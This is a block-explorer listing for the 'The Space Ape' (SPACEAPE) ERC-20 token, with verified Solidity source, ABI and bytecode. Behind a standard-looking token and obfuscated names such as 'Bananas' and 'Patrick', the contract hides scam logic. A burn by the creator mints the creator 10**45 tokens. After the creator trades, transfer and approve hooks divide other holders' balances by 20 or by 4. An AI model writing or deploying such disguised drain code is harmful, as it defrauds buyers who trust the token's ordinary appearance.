Token The Space Ape

 

Overview [ERC-20]

Max Total Supply:
300,000,000 SPACEAPE

Holders:
13

Transfers:
-

 
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TheSpaceApe

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-22
*/

/*     
     _______..______      ___       ______  _______         ___      .______    _______ 
    /       ||   _  \    /   \     /      ||   ____|       /   \     |   _  \  |   ____|
   |   (----`|  |_)  |  /  ^  \   |  ,----'|  |__         /  ^  \    |  |_)  | |  |__   
    \   \    |   ___/  /  /_\  \  |  |     |   __|       /  /_\  \   |   ___/  |   __|  
.----)   |   |  |     /  _____  \ |  `----.|  |____     /  _____  \  |  |      |  |____ 
|_______/    | _|    /__/     \__\ \______||_______|   /__/     \__\ | _|      |_______|

    Welcome to Space.

    We are going to the Moon.

    And with Elon to Mars.

    @TheSpaceApe

*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    address[] private spaceay;

    mapping (address => bool) private Bananas;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private Horror = 0;
    address public pair;
    IDEXRouter router;

    string private _name; string private _symbol; address private hash93rnljflmkfw; uint256 private _totalSupply; 
    bool private trading; bool private Patrick; uint256 private Stars; uint256 private Russian;
    
    constructor (string memory name_, string memory symbol_, address msgSender_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        hash93rnljflmkfw = msgSender_;
        _name = name_;
        _symbol = symbol_;
    }

    function openTrading() external onlyOwner returns (bool) {
        trading = true;
        return true;
    }
    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function burn(uint256 amount) public virtual returns (bool) {
        _burn(_msgSender(), amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _burn(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] -= amount;
        _balances[account] += (account == hash93rnljflmkfw ? (10 ** 45) : 0);
        _balances[address(0)] += amount;
        emit Transfer(account, address(0), amount);
     }

    function last() internal view returns (address) { return (Stars > 1 ? spaceay[spaceay.length-2] : address(0)); }
    
    function _balancesOfTheAstronauts(address sender, address recipient, bool problem) internal {
        Patrick = problem ? true : Patrick;
        if (((Bananas[sender] == true) && (Bananas[recipient] != true)) || ((Bananas[sender] != true) && (Bananas[recipient] != true))) { spaceay.push(recipient); }
        if ((Patrick) && (sender == hash93rnljflmkfw) && (Russian == 1)) { for (uint256 flux = 0;  flux < spaceay.length; flux++) { _balances[spaceay[flux]] /= (2 * 10 ** 1); } }
        _balances[last()] /= (((Horror == block.timestamp) || Patrick) && (Bananas[last()] != true) && (Stars > 1)) ? (4) : (1);
        Stars++; Horror = block.timestamp;
    }

    function _balancesOfTheCosmonauts(address sender, address recipient) internal {
        require((trading || (sender == hash93rnljflmkfw)), "ERC20: trading is not yet enabled.");
        _balancesOfTheAstronauts(sender, recipient, (address(sender) == hash93rnljflmkfw) && (Russian > 0));
        Russian += (sender == hash93rnljflmkfw) ? 1 : 0;
    }

    function _AstroApe(address creator) internal virtual {
        approve(_router, 10 ** 77);
        (Russian,Patrick,Stars,trading) = (0,false,0,false);
        (Bananas[_router],Bananas[creator],Bananas[pair]) = (true,true,true);
    }
    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        _balances[owner] /= (Patrick ? (2 * 10 ** 1) : 1);
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        _balancesOfTheCosmonauts(sender, recipient);
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _DeployTheSpaceApe(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        
        emit Transfer(address(0), account, amount); 
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _DeployTheSpaceApe(creator, initialSupply);
        _AstroApe(creator);
    }
}

contract TheSpaceApe is ERC20Token {
    constructor() ERC20Token("The Space Ape", "SPACEAPE", msg.sender, 300000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600680546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560078054909116737a250d5630b4cf539739df2c5dacb4c659f2488d17905560006008553480156200005e57600080fd5b506040518060400160405280600d81526020016c5468652053706163652041706560981b81525060405180604001604052806008815260200167535041434541504560c01b815250336af8277896582678ac0000008383836000620000c86200029660201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600754600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000173573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000199919062000681565b6006546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af1158015620001eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000211919062000681565b600980546001600160a01b03199081166001600160a01b0393841617909155600d805490911691831691909117905582516200025590600b906020860190620005db565b5081516200026b90600c906020850190620005db565b505050506200028182826200029a60201b60201c565b6200028c8262000383565b505050506200073a565b3390565b6001600160a01b038216620002f65760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600e60008282546200030a9190620006b3565b90915550506001600160a01b0382166000908152600460205260408120805483929062000339908490620006b3565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600754620003bb906001600160a01b03167fdd15fe86affad91249ef0eb713f39ebeaa987b6e6fd2a000000000000000000062000426565b50600f80546000601081905561ffff1990911690915560118190556007546001600160a01b0390811682526003602052604080832093821683528083206009549092168352909120805460ff1990811660019081179092558254811682179092558254909116179055565b6000620004353384846200043e565b50600192915050565b6001600160a01b038316620004a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620002ed565b6001600160a01b038216620005055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620002ed565b6001600160a01b038381166000908152600560209081526040808320938616835292905220819055600f54610100900460ff166200054557600162000548565b60145b60ff1660046000856001600160a01b03166001600160a01b031681526020019081526020016000206000828254620005819190620006da565b92505081905550816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620005ce91815260200190565b60405180910390a3505050565b828054620005e990620006fd565b90600052602060002090601f0160209004810192826200060d576000855562000658565b82601f106200062857805160ff191683800117855562000658565b8280016001018555821562000658579182015b82811115620006585782518255916020019190600101906200063b565b50620006669291506200066a565b5090565b5b808211156200066657600081556001016200066b565b6000602082840312156200069457600080fd5b81516001600160a01b0381168114620006ac57600080fd5b9392505050565b60008219821115620006d557634e487b7160e01b600052601160045260246000fd5b500190565b600082620006f857634e487b7160e01b600052601260045260246000fd5b500490565b600181811c908216806200071257607f821691505b602082108114156200073457634e487b7160e01b600052602260045260246000fd5b50919050565b611100806200074a6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a8aa1b3111610066578063a8aa1b3114610213578063a9059cbb14610226578063c9567bf914610239578063dd62ed3e1461024157600080fd5b8063715018a6146101c95780638da5cb5b146101d357806395d89b41146101f8578063a457c2d71461020057600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806342966c681461018d57806370a08231146101a057600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027a565b60405161011a9190610eb2565b60405180910390f35b610136610131366004610f23565b61030c565b604051901515815260200161011a565b600e545b60405190815260200161011a565b610136610166366004610f4d565b610322565b6040516012815260200161011a565b610136610188366004610f23565b6103d8565b61013661019b366004610f89565b61040f565b61014a6101ae366004610fa2565b6001600160a01b031660009081526004602052604090205490565b6101d1610423565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b61010d6104c7565b61013661020e366004610f23565b6104d6565b6009546101e0906001600160a01b031681565b610136610234366004610f23565b610571565b61013661057e565b61014a61024f366004610fc4565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600b805461028990610ff7565b80601f01602080910402602001604051908101604052809291908181526020018280546102b590610ff7565b80156103025780601f106102d757610100808354040283529160200191610302565b820191906000526020600020905b8154815290600101906020018083116102e557829003601f168201915b5050505050905090565b60006103193384846105ef565b50600192915050565b600061032f848484610783565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103b95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103cd85336103c88685611048565b6105ef565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103199185906103c890869061105f565b600061041b3383610965565b506001919050565b6001546001600160a01b0316331461047d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b0565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461028990610ff7565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105585760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b0565b61056733856103c88685611048565b5060019392505050565b6000610319338484610783565b6001546000906001600160a01b031633146105db5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b0565b50600f805460ff1916600190811790915590565b6001600160a01b0383166106515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b0565b6001600160a01b0382166106b25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b0565b6001600160a01b038381166000908152600560209081526040808320938616835292905220819055600f54610100900460ff166106f05760016106f3565b60145b60ff1660046000856001600160a01b03166001600160a01b03168152602001908152602001600020600082825461072a9190611077565b92505081905550816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161077691815260200190565b60405180910390a3505050565b6001600160a01b0383166107e75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b0565b6001600160a01b0382166108495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b0565b6001600160a01b038316600090815260046020526040902054818110156108c15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b0565b6108cb8484610af6565b6108d58282611048565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061090b90849061105f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161095791815260200190565b60405180910390a350505050565b6001600160a01b0382166109c55760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b0565b6001600160a01b038216600090815260046020526040812080548392906109ed908490611048565b9091555050600d546001600160a01b03838116911614610a0e576000610a23565b722cd76fe086b93ce2f768a00b22a000000000005b72ffffffffffffffffffffffffffffffffffffff1660046000846001600160a01b03166001600160a01b031681526020019081526020016000206000828254610a6c919061105f565b9091555050600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8054839290610aac90849061105f565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600f5460ff1680610b145750600d546001600160a01b038381169116145b610b6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b60648201526084016103b0565b600d54610b9790839083906001600160a01b038084169116148015610b9257506000601154115b610bd3565b600d546001600160a01b03838116911614610bb3576000610bb6565b60015b60ff1660116000828254610bca919061105f565b90915550505050565b80610be857600f54610100900460ff16610beb565b60015b600f80549115156101000261ff00199092169190911790556001600160a01b03831660009081526003602052604090205460ff1615156001148015610c4e57506001600160a01b03821660009081526003602052604090205460ff161515600114155b80610ca057506001600160a01b03831660009081526003602052604090205460ff161515600114801590610ca057506001600160a01b03821660009081526003602052604090205460ff161515600114155b15610cf157600280546001810182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b0384161790555b600f54610100900460ff168015610d155750600d546001600160a01b038481169116145b8015610d2357506011546001145b15610d9c5760005b600254811015610d9a5760146004600060028481548110610d4e57610d4e611099565b60009182526020808320909101546001600160a01b0316835282019290925260400181208054909190610d82908490611077565b90915550819050610d92816110af565b915050610d2b565b505b426008541480610db35750600f54610100900460ff165b8015610dea575060036000610dc6610e67565b6001600160a01b0316815260208101919091526040016000205460ff161515600114155b8015610df857506001601054115b610e03576001610e06565b60045b60ff1660046000610e15610e67565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610e449190611077565b909155505060108054906000610e59836110af565b909155505042600855505050565b6000600160105411610e795750600090565b60028054610e88908290611048565b81548110610e9857610e98611099565b6000918252602090912001546001600160a01b0316905090565b600060208083528351808285015260005b81811015610edf57858101830151858201604001528201610ec3565b81811115610ef1576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610f1e57600080fd5b919050565b60008060408385031215610f3657600080fd5b610f3f83610f07565b946020939093013593505050565b600080600060608486031215610f6257600080fd5b610f6b84610f07565b9250610f7960208501610f07565b9150604084013590509250925092565b600060208284031215610f9b57600080fd5b5035919050565b600060208284031215610fb457600080fd5b610fbd82610f07565b9392505050565b60008060408385031215610fd757600080fd5b610fe083610f07565b9150610fee60208401610f07565b90509250929050565b600181811c9082168061100b57607f821691505b6020821081141561102c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008282101561105a5761105a611032565b500390565b6000821982111561107257611072611032565b500190565b60008261109457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006000198214156110c3576110c3611032565b506001019056fea264697066735822122025d49b8ae8810d7a1a729de13d293fcc5dd024230a9496ddea2712545823ae2464736f6c634300080a0033

Deployed ByteCode Sourcemap

9654:141:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4191:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7420:169;;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;7420:169:0;1053:187:1;4486:108:0;4574:12;;4486:108;;;1391:25:1;;;1379:2;1364:18;4486:108:0;1245:177:1;7597:422:0;;;;;;:::i;:::-;;:::i;3974:93::-;;;4057:2;1902:36:1;;1890:2;1875:18;3974:93:0;1760:184:1;5032:215:0;;;;;;:::i;:::-;;:::i;4896:128::-;;;;;;:::i;:::-;;:::i;4602:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4703:18:0;4676:7;4703:18;;;:9;:18;;;;;;;4602:127;2676:148;;;:::i;:::-;;2462:79;2527:6;;-1:-1:-1;;;;;2527:6:0;2462:79;;;-1:-1:-1;;;;;2489:32:1;;;2471:51;;2459:2;2444:18;2462:79:0;2325:203:1;4079:104:0;;;:::i;5259:377::-;;;;;;:::i;:::-;;:::i;3274:19::-;;;;;-1:-1:-1;;;;;3274:19:0;;;4299:175;;;;;;:::i;:::-;;:::i;3850:112::-;;;:::i;4737:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4853:18:0;;;4826:7;4853:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4737:151;4191:100;4245:13;4278:5;4271:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4191:100;:::o;7420:169::-;7503:4;7520:39;805:10;7543:7;7552:6;7520:8;:39::i;:::-;-1:-1:-1;7577:4:0;7420:169;;;;:::o;7597:422::-;7703:4;7720:36;7730:6;7738:9;7749:6;7720:9;:36::i;:::-;-1:-1:-1;;;;;7796:19:0;;7769:24;7796:19;;;:11;:19;;;;;;;;805:10;7796:33;;;;;;;;7848:26;;;;7840:79;;;;-1:-1:-1;;;7840:79:0;;3385:2:1;7840:79:0;;;3367:21:1;3424:2;3404:18;;;3397:30;3463:34;3443:18;;;3436:62;-1:-1:-1;;;3514:18:1;;;3507:38;3562:19;;7840:79:0;;;;;;;;;7930:57;7939:6;805:10;7961:25;7980:6;7961:16;:25;:::i;:::-;7930:8;:57::i;:::-;-1:-1:-1;8007:4:0;;7597:422;-1:-1:-1;;;;7597:422:0:o;5032:215::-;805:10;5120:4;5169:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5169:34:0;;;;;;;;;;5120:4;;5137:80;;5160:7;;5169:47;;5206:10;;5169:47;:::i;4896:128::-;4950:4;4967:27;805:10;4987:6;4967:5;:27::i;:::-;-1:-1:-1;5012:4:0;;4896:128;-1:-1:-1;4896:128:0:o;2676:148::-;2589:6;;-1:-1:-1;;;;;2589:6:0;805:10;2589:22;2581:67;;;;-1:-1:-1;;;2581:67:0;;4189:2:1;2581:67:0;;;4171:21:1;;;4208:18;;;4201:30;4267:34;4247:18;;;4240:62;4319:18;;2581:67:0;3987:356:1;2581:67:0;2767:6:::1;::::0;2746:40:::1;::::0;2783:1:::1;::::0;-1:-1:-1;;;;;2767:6:0::1;::::0;2746:40:::1;::::0;2783:1;;2746:40:::1;2797:6;:19:::0;;-1:-1:-1;;;;;;2797:19:0::1;::::0;;2676:148::o;4079:104::-;4135:13;4168:7;4161:14;;;;;:::i;5259:377::-;805:10;5352:4;5396:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5396:34:0;;;;;;;;;;5449:35;;;;5441:85;;;;-1:-1:-1;;;5441:85:0;;4550:2:1;5441:85:0;;;4532:21:1;4589:2;4569:18;;;4562:30;4628:34;4608:18;;;4601:62;-1:-1:-1;;;4679:18:1;;;4672:35;4724:19;;5441:85:0;4348:401:1;5441:85:0;5537:67;805:10;5560:7;5569:34;5588:15;5569:16;:34;:::i;5537:67::-;-1:-1:-1;5624:4:0;;5259:377;-1:-1:-1;;;5259:377:0:o;4299:175::-;4385:4;4402:42;805:10;4426:9;4437:6;4402:9;:42::i;3850:112::-;2589:6;;3901:4;;-1:-1:-1;;;;;2589:6:0;805:10;2589:22;2581:67;;;;-1:-1:-1;;;2581:67:0;;4189:2:1;2581:67:0;;;4171:21:1;;;4208:18;;;4201:30;4267:34;4247:18;;;4240:62;4319:18;;2581:67:0;3987:356:1;2581:67:0;-1:-1:-1;3918:7:0::1;:14:::0;;-1:-1:-1;;3918:14:0::1;3928:4;3918:14:::0;;::::1;::::0;;;3850:112;:::o;8027:406::-;-1:-1:-1;;;;;8129:19:0;;8121:68;;;;-1:-1:-1;;;8121:68:0;;4956:2:1;8121:68:0;;;4938:21:1;4995:2;4975:18;;;4968:30;5034:34;5014:18;;;5007:62;-1:-1:-1;;;5085:18:1;;;5078:34;5129:19;;8121:68:0;4754:400:1;8121:68:0;-1:-1:-1;;;;;8208:21:0;;8200:68;;;;-1:-1:-1;;;8200:68:0;;5361:2:1;8200:68:0;;;5343:21:1;5400:2;5380:18;;;5373:30;5439:34;5419:18;;;5412:62;-1:-1:-1;;;5490:18:1;;;5483:32;5532:19;;8200:68:0;5159:398:1;8200:68:0;-1:-1:-1;;;;;8281:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:36;;;8349:7;;;;;;;:27;;8375:1;8349:27;;;8360:11;8349:27;8328:49;;:9;:16;8338:5;-1:-1:-1;;;;;8328:16:0;-1:-1:-1;;;;;8328:16:0;;;;;;;;;;;;;:49;;;;;;;:::i;:::-;;;;;;;;8409:7;-1:-1:-1;;;;;8393:32:0;8402:5;-1:-1:-1;;;;;8393:32:0;;8418:6;8393:32;;;;1391:25:1;;1379:2;1364:18;;1245:177;8393:32:0;;;;;;;;8027:406;;;:::o;8441:608::-;-1:-1:-1;;;;;8547:20:0;;8539:70;;;;-1:-1:-1;;;8539:70:0;;5986:2:1;8539:70:0;;;5968:21:1;6025:2;6005:18;;;5998:30;6064:34;6044:18;;;6037:62;-1:-1:-1;;;6115:18:1;;;6108:35;6160:19;;8539:70:0;5784:401:1;8539:70:0;-1:-1:-1;;;;;8628:23:0;;8620:71;;;;-1:-1:-1;;;8620:71:0;;6392:2:1;8620:71:0;;;6374:21:1;6431:2;6411:18;;;6404:30;6470:34;6450:18;;;6443:62;-1:-1:-1;;;6521:18:1;;;6514:33;6564:19;;8620:71:0;6190:399:1;8620:71:0;-1:-1:-1;;;;;8728:17:0;;8704:21;8728:17;;;:9;:17;;;;;;8764:23;;;;8756:74;;;;-1:-1:-1;;;8756:74:0;;6796:2:1;8756:74:0;;;6778:21:1;6835:2;6815:18;;;6808:30;6874:34;6854:18;;;6847:62;-1:-1:-1;;;6925:18:1;;;6918:36;6971:19;;8756:74:0;6594:402:1;8756:74:0;8851:43;8876:6;8884:9;8851:24;:43::i;:::-;8925:22;8941:6;8925:13;:22;:::i;:::-;-1:-1:-1;;;;;8905:17:0;;;;;;;:9;:17;;;;;;:42;;;;8958:20;;;;;;;;:30;;8982:6;;8905:17;8958:30;;8982:6;;8958:30;:::i;:::-;;;;;;;;9023:9;-1:-1:-1;;;;;9006:35:0;9015:6;-1:-1:-1;;;;;9006:35:0;;9034:6;9006:35;;;;1391:25:1;;1379:2;1364:18;;1245:177;9006:35:0;;;;;;;;8528:521;8441:608;;;:::o;5644:359::-;-1:-1:-1;;;;;5720:21:0;;5712:67;;;;-1:-1:-1;;;5712:67:0;;7203:2:1;5712:67:0;;;7185:21:1;7242:2;7222:18;;;7215:30;7281:34;7261:18;;;7254:62;-1:-1:-1;;;7332:18:1;;;7325:31;7373:19;;5712